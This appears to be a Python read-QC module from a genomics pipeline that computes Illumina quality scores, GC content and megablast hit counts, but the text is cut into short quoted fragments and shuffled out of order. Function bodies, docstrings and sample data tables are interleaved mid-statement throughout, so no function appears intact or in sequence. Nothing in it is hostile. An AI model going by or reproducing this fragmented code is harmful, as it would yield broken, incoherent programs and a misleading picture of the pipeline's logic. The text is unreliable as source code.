dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] =", "log) if exitCode == 0: ## if parsed file found. t = matchings.split()", "if len(t) == 1 and t[0].isdigit(): hitCount = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_MATCHING_HITS + \"", ": Generate qual scores and plots of read level QC Usage : base_level_qual_stats($analysis,", "33 35 10 10 37 98021 90611 89040 101029 0 378701 # #", "pos - 1 # else: # q20 = pos # # else: #", "of read level QC Usage : read_level_qual_stats($analysis, $) Args : 1) A reference", "True, log) tophitFound = tophitFound.strip() if tophitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOPHIT_FILE + \" \" +", "8 9 10 11 12 13 14 15 16 17 18 ##BaseNum count_1", "found: %s\" % (qhistTxtFullPath)) return retCode \"\"\" Title : read_gc_mean Function : This", "Q1 med Q3 IQR lW rW A_Count C_Count G_Count T_Count N_Count Max_count #", ": This function generates tophit list of megablast against different databases. Usage :", "2>/dev/null | wc -l \" % (parsedFile), True, log) if exitCode == 0:", "mean = 0.0 stdev = 0.0 retCode = RQCExitCodes.JGI_FAILURE if os.path.isfile(histFile): with open(histFile,", "= int(t[0]) # mean = float(t[5]) # # if mean and pos: #", "parsedFileFound = parsedFileFound.strip() append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_PARSED_FILE + \" \" + db, os.path.join(megablastPath, parsedFileFound), log)", "= {30:0, 25:0, 20:0, 15:0, 10:0, 5:0} statsBase = {30:0, 25:0, 20:0, 15:0,", "IndexError: log.warn(\"parse error in base_level_qual_stats: %s %s %s %s\" % (l, qavg, nbase,", "srcDir = os.path.dirname(__file__) sys.path.append(os.path.join(srcDir, 'tools')) ## ./tools sys.path.append(os.path.join(srcDir, '../lib')) ## rqc-pipeline/lib sys.path.append(os.path.join(srcDir, '../tools'))", "= statsBase[10] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase if Q30_seen == 0: log.error(\"Q30", "33.06 33 34 34 1 32 34 104668 72341 80992 120700 0 378701", "content % and its standard deviation and put them into database. Usage :", "# #Mean 33.298 # #STDev 5.890 # #Mean_30 35.303 # #STDev_30 1.517 #", "+ \" \" + db, top100hits, log) ## ## Find and add taxlist", "\" + db, spe, log) ## ## wc the top 100 hit ##", "2>/dev/null | wc -l \" % (top100hitFile), True, log) t = species.split() if", "column count min max sum mean Q1 med Q3 IQR lW rW A_Count", "\"\"\" # def q20_score(qrpt, log): # log.debug(\"qrpt file %s\" % (qrpt)) # #", "bases fraction #0 159 0.00008 #1 0 0.00000 #2 12175 0.00593 #3 0", "0: Q5_seen = 1 stats[5] = stats[10] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer if Q30_seen ==", "assert len(t) == 3 qavg = int(t[0]) percent = float(t[2]) * 100.0 ##", "l: break if l.startswith('#'): continue t = l.split() assert len(t) == 3 qavg", "378701 2 37 10208226 26.96 25 33 35 10 10 37 98021 90611", "top100hitFound), log) else: log.error(\"- Failed to add megablast top100hit file of %s.\" %", "= cummlatPer statsBase[20] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase elif qavg", "file does not contains right results: %s, %s\" % (histFile, line)) retCode =", "l.startswith(\"#Mean_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_MEAN] = l.split('\\t')[1] elif l.startswith(\"#STDev_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_STD] = l.split('\\t')[1] elif l.startswith(\"#Mean\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_MEAN] =", "2 34 7131741 18.83 16 16 26 10 2 34 96452 83003 107891", "0.0 Q30_seen = 0 Q25_seen = 0 Q20_seen = 0 Q15_seen = 0", "read level report could be successfully generated. JGI_FAILURE: Illumina read level report could", "Q15_seen == 0 and Q20_seen != 0: Q15_seen = 1 statsPerc[15] = statsPerc[20]", "= l.split(\"\\t\") # assert len(t) > 6 # pos = int(t[0]) # mean", "to add megablast parsed file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ##", "## wc the top 100 hit ## top100hits = 0 top100hitFile = os.path.join(megablastPath,", "Usage : read_level_qual_stats($analysis, $) Args : 1) A reference to an JGI_Analysis object", "open(reformatObqhistFile).readlines() for l in allLines[::-1]: l = l.strip() ## ## obqhist file format", "run_sh_command(\"ls %s\" % (tophitFile), True, log) tophitFound = tophitFound.strip() if tophitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOPHIT_FILE", "and t[0].isdigit(): topHit = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_HITS + \" \" + db, topHit,", "Changed for bbtools cummlatPer = cummlatPer + percent cummlatPer = float(\"%.2f\" % cummlatPer)", "cummlatPer elif qavg <= 5 and Q5_seen == 0: Q5_seen = 1 stats[5]", "1) A reference to an JGI_Analysis object 2) current working folder wkdir/uniqueness Returns", "(histFile, line)) retCode = RQCExitCodes.JGI_FAILURE else: toks = line.split() assert len(toks) == 9", "log) ## ## wc the taxonomic species ## spe = 0 taxlistFile =", "elif qavg == 5: Q5_seen = 1 statsPerc[5] = cummlatPer statsBase[5] = cummlatBase", "cummlatPer = 0.0 Q30_seen = 0 Q25_seen = 0 Q20_seen = 0 Q15_seen", "if readNum == 1: mean = float(t[4]) else: mean = float(t[13]) if mean", "25 and qavg > 20 and Q25_seen == 0: Q25_seen = 1 stats[25]", "{30:0, 25:0, 20:0, 15:0, 10:0, 5:0} statsBase = {30:0, 25:0, 20:0, 15:0, 10:0,", "db, hitCount, log) ## ## add .parsed file ## parsedFileFound, _, exitCode =", "db, os.path.join(megablastPath, top100hitFound), log) else: log.error(\"- Failed to add megablast top100hit file of", ": $_[0] : qrpt file. Returns : a number of Q20 score Comments", "== 0: Q10_seen = 1 stats[10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer elif qavg", "if l.startswith(\"#\"): if l.startswith(\"#Mean_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_MEAN] = l.split('\\t')[1] elif l.startswith(\"#STDev_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_STD] = l.split('\\t')[1] elif", "log): currentDir = RQCReadQcConfig.CFG[\"output_path\"] megablastDir = \"megablast\" megablastPath = os.path.join(currentDir, megablastDir) statsFile =", "len(t) == 1 and t[0].isdigit(): topHit = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_HITS + \" \"", "<= 25 and qavg > 20 and Q25_seen == 0: Q25_seen = 1", "25 33 35 10 10 37 98021 90611 89040 101029 0 378701 #", "True, log) if exitCode == 0: ## if parsed file found. t =", "retCode \"\"\" Title : read_gc_mean Function : This function generates average GC content", "## ## wc the taxonomic species ## spe = 0 taxlistFile = os.path.join(megablastPath,", "34 12515957 33.05 33 34 34 1 32 34 112178 83555 84449 98519", "0 and Q30_seen != 0: Q25_seen = 1 stats[25] = stats[30] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] =", "Q30_seen == 0: Q30_seen = 1 stats[30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q30] = cummlatPer elif", "-*- coding: utf-8 -*- \"\"\" Readqc report: record stat key-value in readqc-stats.txt ###", "= 0 parsedFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed\" % (db)) matchings, _, exitCode = run_sh_command(\"grep", "RW_1 count_2 min_2 max_2 mean_2 Q1_2 med_2 Q3_2 LW_2 RW_2 # 0 6900", "2 34 8875097 23.44 25 26 28 3 21 32 106904 84046 81795", "qrpt file. Returns : a number of Q20 score Comments : \"\"\" #", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_MEAN] = l.split('\\t')[1] elif l.startswith(\"#STDev_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_STD] = l.split('\\t')[1] elif l.startswith(\"#Mean\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_MEAN] = l.split('\\t')[1]", "= 0 Q10_seen = 0 Q5_seen = 0 if os.path.isfile(qhistTxtFullPath): stats = {30:0,", "Q10_seen = 1 statsPerc[10] = cummlatPer statsBase[10] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10]", "dataFile, log): retCode = RQCExitCodes.JGI_FAILURE ## Old data #nSeq nStartUniMer fracStartUniMer nRandUniMer fracRandUniMer", "100 hit ## top100hits = 0 top100hitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.top100hit\" % (db)) species,", "Q30_seen = 1 stats[30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q30] = cummlatPer elif qavg <= 25", "= 1 stats[10] = stats[15] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer if Q5_seen == 0 and", "object Returns : JGI_SUCCESS: JGI_FAILURE: Comments : \"\"\" def read_gc_mean(histFile, log): mean =", "def read_level_qual_stats(dataToRecordDict, qhistTxtFullPath, log): retCode = RQCExitCodes.JGI_FAILURE cummlatPer = 0.0 Q30_seen = 0", "None # # # return q20 def q20_score_new(bqHist, readNum, log): log.debug(\"q20_score_new(): bqHist file", "# # if mean and pos: # if mean < 20: # return", "t[0].isdigit(): topHit = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_HITS + \" \" + db, topHit, log)", "file ## taxListFound, _, exitCode = run_sh_command(\"ls %s\" % (taxlistFile), True, log) taxListFound", "RQCExitCodes.JGI_FAILURE ## ## Find and add top100hit file ## top100hitFound, _, exitCode =", "dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer if Q20_seen == 0 and Q25_seen != 0: Q20_seen =", "'tools')) ## ./tools sys.path.append(os.path.join(srcDir, '../lib')) ## rqc-pipeline/lib sys.path.append(os.path.join(srcDir, '../tools')) ## rqc-pipeline/tools from readqc_constants", "= os.path.join(currentDir, megablastDir) statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"] ## ## Process blast", "stats[20], stats[15], stats[10], stats[5])) retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist file not found:", "## 5 378701 2 37 13790443 36.42 37 37 37 0 37 37", "cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q30] = cummlatPer elif qavg <= 25 and qavg > 20 and", "% (db)) return RQCExitCodes.JGI_FAILURE ## ## wc the top hits ## topHit =", "9686653 25.58 19 32 33 14 2 37 97835 78304 87944 114618 0", "Q10 %s, Q5 %s\" % \\ (stats[30], stats[25], stats[20], stats[15], stats[10], stats[5])) retCode", "if len(t) == 1 and t[0].isdigit(): spe = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TAX_SPECIES + \"", "(db)) return RQCExitCodes.JGI_FAILURE ## ## wc the top hits ## topHit = 0", "% (histFile)) return retCode, mean, stdev if __name__ == \"__main__\": exit(0) ## EOF", "taxListFound, _, exitCode = run_sh_command(\"ls %s\" % (taxlistFile), True, log) taxListFound = taxListFound.strip()", "return None # # # return q20 def q20_score_new(bqHist, readNum, log): log.debug(\"q20_score_new(): bqHist", "t = l.split() try: qavg = int(t[0]) nbase = int(t[1]) percent = float(t[2])", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase if Q30_seen == 0: log.error(\"Q30 is 0.", "None t = l.split(\"\\t\") pos = int(t[0]) + 1 if readNum == 1:", "4 378701 2 37 13807944 36.46 37 37 37 0 37 37 96935", "dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_STARTING_MERS] = uniqStartMerPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_RANDOM_MERS] = uniqRandtMerPer retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist file", "to be called at the very end of the illumina base level data", "pos = int(t[0]) # mean = float(t[5]) # # if mean and pos:", "len(t) == 3 qavg = int(t[0]) percent = float(t[2]) * 100.0 ## 20140826", "0 or not line.startswith(\"#Found\"): log.error(\"- GC content hist text file does not contains", "= RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"] ## ## Process blast output files ## matchings", "cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer elif qavg <= 10 and qavg > 5 and", "= cummlatPer if Q10_seen == 0 and Q15_seen != 0: Q10_seen = 1", "os.path.isfile(dataFile): with open(dataFile, \"r\") as merFH: lines = merFH.readlines() ## last line t", "84449 98519 0 378701 # ## 3 378701 2 34 12519460 33.06 33", "Q5_seen == 0: Q5_seen = 1 stats[5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer ###", "1 if readNum == 1: mean = float(t[4]) else: mean = float(t[13]) if", "statsBase[10] = statsBase[15] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase if Q5_seen == 0", "rqc_constants import RQCExitCodes from os_utility import run_sh_command from common import append_rqc_stats, append_rqc_file statsFile", "in readqc-stats.txt ### JGI_Analysis_Utility_Illumina::illumina_read_level_report Created: Jul 24 2013 sulsj (<EMAIL>) \"\"\" import os", "log) else: log.error(\"- Failed to add megablast tophit file of %s.\" % (db))", "# 6 0 0.00000 if len(l) > 0: if l.startswith(\"#\"): if l.startswith(\"#Mean_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_MEAN]", "1 and t[0].isdigit(): topHit = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_HITS + \" \" + db,", "+ db, os.path.join(megablastPath, parsedFileFound), log) else: log.error(\"- Failed to add megablast parsed file", "= l.split('\\t')[1] continue qavg = None nbase = None percent = None t", "statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"] \"\"\" Title : read_megablast_hits Function : This", "= cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase ## Double check that no", "min_1 max_1 mean_1 Q1_1 med_1 Q3_1 LW_1 RW_1 count_2 min_2 max_2 mean_2 Q1_2", "t[0].isdigit(): hitCount = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_MATCHING_HITS + \" \" + db, hitCount, log)", "ReadqcStats.ILLUMINA_READ_MATCHING_HITS + \" \" + db, hitCount, log) ## ## add .parsed file", ": This function generates average GC content % and its standard deviation and", "# ## # ## READ2.qrpt # ## column count min max sum mean", "cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase elif qavg == 15: Q15_seen =", "Usage : read_level_mer_sampling($analysis, $summary_file_dir) Args : 1) A reference to an JGI_Analysis object", "standard deviation and put them into database. Usage : read_gc_mean($analysis) Args : 1)", "== 0 and Q30_seen != 0: Q25_seen = 1 statsPerc[25] = statsPerc[30] statsBase[25]", "file not found: %s\" % (bqHist)) return None return q20 \"\"\" Title :", "> 5 and Q10_seen == 0: Q10_seen = 1 stats[10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10]", "37 37 96935 95322 83958 102440 46 378701 # ## 5 378701 2", "return RQCExitCodes.JGI_FAILURE ## ## Find and add tophit file ## tophitFound, _, exitCode", "nRandUniMer fracRandUniMer ## 0 1 2 3 4 ##25000 2500 0.1 9704 0.3882", "6 7 8 9 10 11 12 13 14 15 16 17 18", "be generated. Comments : This function is intended to be called at the", "os.path.join(megablastPath, \"megablast.*.%s*.parsed.top100hit\" % (db)) species, _, exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null", "= cummlatPer + percent cummlatPer = float(\"%.2f\" % cummlatPer) if qavg <= 30", "returns Q20 using a qrpt file as input Usage : JGI_QC_Utility::qc20_score($qrpt) Args :", "coding: utf-8 -*- \"\"\" Readqc report: record stat key-value in readqc-stats.txt ### JGI_Analysis_Utility_Illumina::illumina_read_level_report", "% (db)) return RQCExitCodes.JGI_FAILURE ## ## Find and add tophit file ## tophitFound,", "Q25_seen != 0: Q20_seen = 1 stats[20] = stats[25] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer if", "## top100hitFound, _, exitCode = run_sh_command(\"ls %s\" % (top100hitFile), True, log) top100hitFound =", "uniqRandtMerPer retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist file not found: %s\" % (dataFile))", "# num += 1 # # if num == 1: # continue #", "90611 89040 101029 0 378701 # # pos = None # mean =", "continue # # ############## # ## Old format # ## READ1.qrpt # ##", "(db)) return RQCExitCodes.JGI_FAILURE else: log.info(\"- No blast hits for %s.\" % (db)) return", "+ \" \" + db, os.path.join(megablastPath, top100hitFound), log) else: log.error(\"- Failed to add", "#1 0 0.00000 #2 12175 0.00593 #3 0 0.00000 #4 0 0.00000 #5", "len(t) == 1 and t[0].isdigit(): spe = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TAX_SPECIES + \" \"", "1 stats[20] = stats[25] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer if Q15_seen == 0 and Q20_seen", ": JGI_QC_Utility::qc20_score($qrpt) Args : $_[0] : qrpt file. Returns : a number of", "spe, log) ## ## wc the top 100 hit ## top100hits = 0", "3 qavg = int(t[0]) percent = float(t[2]) * 100.0 ## 20140826 Changed for", "\" % (taxlistFile), True, log) t = species.split() if len(t) == 1 and", "path Returns : SUCCESS FAILURE Comments : \"\"\" def read_megablast_hits(db, log): currentDir =", "statsBase[5] = statsBase[10] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase if Q30_seen == 0:", "rand first_cnt rand_cnt # 0 1 2 3 4 #25000 66.400 76.088 16600", "= tophits.split() if len(t) == 1 and t[0].isdigit(): topHit = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_HITS", "cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer elif qavg <= 20 and qavg > 15 and", "cummlatPer + percent cummlatPer = float(\"%.2f\" % cummlatPer) if qavg <= 30 and", "97835 78304 87944 114618 0 378701 # ## 5 378701 2 37 10208226", "## taxListFound, _, exitCode = run_sh_command(\"ls %s\" % (taxlistFile), True, log) taxListFound =", "3 4 ##25000 2500 0.1 9704 0.3882 ## New data #count first rand", "add top100hit file ## top100hitFound, _, exitCode = run_sh_command(\"ls %s\" % (top100hitFile), True,", "= statsPerc[30] statsBase[25] = statsBase[30] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase if Q20_seen", "mean = float(t[4]) else: mean = float(t[13]) if mean and pos: if mean", "if os.path.isfile(qrpt): # with open(qrpt, \"r\") as qrptFH: # for l in qrptFH:", "JGI_Analysis object 2) current working folder wkdir/uniqueness Returns : JGI_SUCCESS: Illumina read level", "base_level_qual_stats(dataToRecordDict, reformatObqhistFile, log): cummlatPer = 0 cummlatBase = 0 statsPerc = {30:0, 25:0,", "37 0 37 37 96935 95322 83958 102440 46 378701 # ## 5", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase if Q15_seen == 0 and Q20_seen !=", "Q30_seen != 0: Q25_seen = 1 statsPerc[25] = statsPerc[30] statsBase[25] = statsBase[30] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25]", "= cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer ### Double check that no value is missing.", "if Q20_seen == 0 and Q25_seen != 0: Q20_seen = 1 statsPerc[20] =", "dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer if Q5_seen == 0 and Q10_seen != 0: Q5_seen =", "## new by bbcountunique uniqStartMerPer = float(\"%.2f\" % (float(t[1]))) uniqRandtMerPer = float(\"%.2f\" %", "= RQCReadQcConfig.CFG[\"files_file\"] ## ## Process blast output files ## matchings = 0 hitCount", "+ db, os.path.join(megablastPath, taxListFound), log) else: log.error(\"- Failed to add megablast taxlist file", "Q25_seen = 1 stats[25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer elif qavg <= 20", "elif l.startswith(\"#STDev_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_STD] = l.split('\\t')[1] elif l.startswith(\"#Mean\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_MEAN] = l.split('\\t')[1] elif l.startswith(\"#STDev\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_STD]", "83003 107891 91355 0 378701 # ## 4 378701 2 37 9686653 25.58", "illumina base level data processing script. \"\"\" def base_level_qual_stats(dataToRecordDict, reformatObqhistFile, log): cummlatPer =", "and plots of read level 20mer sampling Usage : read_level_mer_sampling($analysis, $summary_file_dir) Args :", "Q25_seen != 0: Q20_seen = 1 statsPerc[20] = statsPerc[25] statsBase[20] = statsBase[25] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20]", "exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc -l \" % (taxlistFile),", "stats[25] = stats[30] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer if Q20_seen == 0 and Q25_seen !=", "## ./tools sys.path.append(os.path.join(srcDir, '../lib')) ## rqc-pipeline/lib sys.path.append(os.path.join(srcDir, '../tools')) ## rqc-pipeline/tools from readqc_constants import", "= 1 statsPerc[25] = statsPerc[30] statsBase[25] = statsBase[30] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] =", "os_utility import run_sh_command from common import append_rqc_stats, append_rqc_file statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile =", "!= 0: Q5_seen = 1 statsPerc[5] = statsPerc[10] statsBase[5] = statsBase[10] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] =", "error in base_level_qual_stats: %s %s %s %s\" % (l, qavg, nbase, percent)) continue", "37 114586 68297 78020 117740 58 378701 # ## # ## or #", "return None return q20 \"\"\" Title : read_level_qual_stats Function : Generate qual scores", "and Q20_seen == 0: Q20_seen = 1 stats[20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer", "pos = None mean = None t = l.split(\"\\t\") pos = int(t[0]) +", "to an JGI_Analysis object 2) current working folder wkdir/qual Returns : JGI_SUCCESS: Illumina", "0 0.00000 # 2 0 0.00000 # 3 0 0.00000 # 4 0", "32 33 14 2 37 97835 78304 87944 114618 0 378701 # ##", "first_cnt rand_cnt # 0 1 2 3 4 #25000 66.400 76.088 16600 19022", "Q5 %s\" % \\ (stats[30], stats[25], stats[20], stats[15], stats[10], stats[5])) retCode = RQCExitCodes.JGI_SUCCESS", "FAILURE Comments : \"\"\" def read_megablast_hits(db, log): currentDir = RQCReadQcConfig.CFG[\"output_path\"] megablastDir = \"megablast\"", "+ db, topHit, log) ## ## wc the taxonomic species ## spe =", "## tophitFound, _, exitCode = run_sh_command(\"ls %s\" % (tophitFile), True, log) tophitFound =", "16600 19022 #50000 52.148 59.480 13037 14870 #75000 46.592 53.444 11648 13361 #100000", "## rqc-pipeline/tools from readqc_constants import RQCReadQcConfig, ReadqcStats from rqc_constants import RQCExitCodes from os_utility", "96452 83003 107891 91355 0 378701 # ## 4 378701 2 37 9686653", "- 1 # else: # q20 = pos # # else: # log.error(\"-", "and Q25_seen != 0: Q20_seen = 1 statsPerc[20] = statsPerc[25] statsBase[20] = statsBase[25]", "##BaseNum count_1 min_1 max_1 mean_1 Q1_1 med_1 Q3_1 LW_1 RW_1 count_2 min_2 max_2", "= 0.0 stdev = 0.0 retCode = RQCExitCodes.JGI_FAILURE if os.path.isfile(histFile): with open(histFile, \"r\")", "1 32 34 112178 83555 84449 98519 0 378701 # ## 3 378701", "\"r\") as merFH: lines = merFH.readlines() ## last line t = lines[-1].split('\\t') #", "qavg == 5: Q5_seen = 1 statsPerc[5] = cummlatPer statsBase[5] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5]", "statsPerc = {30:0, 25:0, 20:0, 15:0, 10:0, 5:0} statsBase = {30:0, 25:0, 20:0,", "2 34 12447306 32.87 31 34 34 3 27 34 108573 83917 81999", "\" + db, topHit, log) ## ## wc the taxonomic species ## spe", "import os import sys ## custom libs in \"../lib/\" srcDir = os.path.dirname(__file__) sys.path.append(os.path.join(srcDir,", "and t[0].isdigit(): spe = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TAX_SPECIES + \" \" + db, spe,", "33 14 2 37 97835 78304 87944 114618 0 378701 # ## 5", "custom libs in \"../lib/\" srcDir = os.path.dirname(__file__) sys.path.append(os.path.join(srcDir, 'tools')) ## ./tools sys.path.append(os.path.join(srcDir, '../lib'))", "= 0 tophitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.tophit\" % (db)) tophits, _, exitCode = run_sh_command(\"grep", "15: Q15_seen = 1 statsPerc[15] = cummlatPer statsBase[15] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer", "%s\" % (taxlistFile), True, log) taxListFound = taxListFound.strip() if taxListFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TAXLIST_FILE +", "4 5 6 7 8 9 10 11 12 13 14 15 16", "= run_sh_command(\"ls %s\" % (taxlistFile), True, log) taxListFound = taxListFound.strip() if taxListFound: append_rqc_file(filesFile,", "different databases. Usage : read_megablast_hits(db_name, log) Args : blast db name or full", "log.debug(\"Q30 %s, Q25 %s, Q20 %s, Q15 %s, Q10 %s, Q5 %s\" %", "% (db)) matchings, _, exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc", "## last line t = lines[-1].split('\\t') # breaks 2016-09-07 #assert len(t) == 5", "0 37 37 96935 95322 83958 102440 46 378701 # ## 5 378701", "# mean = float(t[5]) # # if mean and pos: # if mean", "for bbtools cummlatPer = cummlatPer + percent cummlatPer = float(\"%.2f\" % cummlatPer) if", "15 16 26 11 2 34 107573 77148 97953 88998 7029 378701 #", "retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist file not found: %s\" % (dataFile)) return", "\" + db, os.path.join(megablastPath, parsedFileFound), log) else: log.error(\"- Failed to add megablast parsed", "script. \"\"\" def read_level_qual_stats(dataToRecordDict, qhistTxtFullPath, log): retCode = RQCExitCodes.JGI_FAILURE cummlatPer = 0.0 Q30_seen", "== 25: Q25_seen = 1 statsPerc[25] = cummlatPer statsBase[25] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] =", "% (taxlistFile), True, log) t = species.split() if len(t) == 1 and t[0].isdigit():", "6 # pos = int(t[0]) # mean = float(t[5]) # # if mean", "#100000 43.072 49.184 10768 12296 ... if os.path.isfile(dataFile): with open(dataFile, \"r\") as merFH:", "statsBase = {30:0, 25:0, 20:0, 15:0, 10:0, 5:0} Q30_seen = 0 Q25_seen =", "= parsedFileFound.strip() append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_PARSED_FILE + \" \" + db, os.path.join(megablastPath, parsedFileFound), log) else:", "11 2 34 107573 77148 97953 88998 7029 378701 # ## 3 378701", ": This function is intended to be called at the very end of", "100.0 ## RQC-621 cummlatBase += nbase if qavg == 30: Q30_seen = 1", "input Usage : JGI_QC_Utility::qc20_score($qrpt) Args : $_[0] : qrpt file. Returns : a", "count_1 min_1 max_1 mean_1 Q1_1 med_1 Q3_1 LW_1 RW_1 count_2 min_2 max_2 mean_2", "if exitCode == 0: ## if parsed file found. t = matchings.split() if", "processing script. \"\"\" def read_level_mer_sampling(dataToRecordDict, dataFile, log): retCode = RQCExitCodes.JGI_FAILURE ## Old data", "= {30:0, 25:0, 20:0, 15:0, 10:0, 5:0} Q30_seen = 0 Q25_seen = 0", "run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc -l \" % (top100hitFile), True, log)", "2 37 97835 78304 87944 114618 0 378701 # ## 5 378701 2", "This function generates average GC content % and its standard deviation and put", "is intended to be called at the very end of the illumina read", "data processing script. \"\"\" def read_level_mer_sampling(dataToRecordDict, dataFile, log): retCode = RQCExitCodes.JGI_FAILURE ## Old", "## 4 378701 2 37 9686653 25.58 19 32 33 14 2 37", "cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase ## Double check that no value is missing. if", "quality values are ZERO.\") log.debug(\"Q and C values: %s\" % (dataToRecordDict)) return RQCExitCodes.JGI_SUCCESS", "0 top100hitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.top100hit\" % (db)) species, _, exitCode = run_sh_command(\"grep 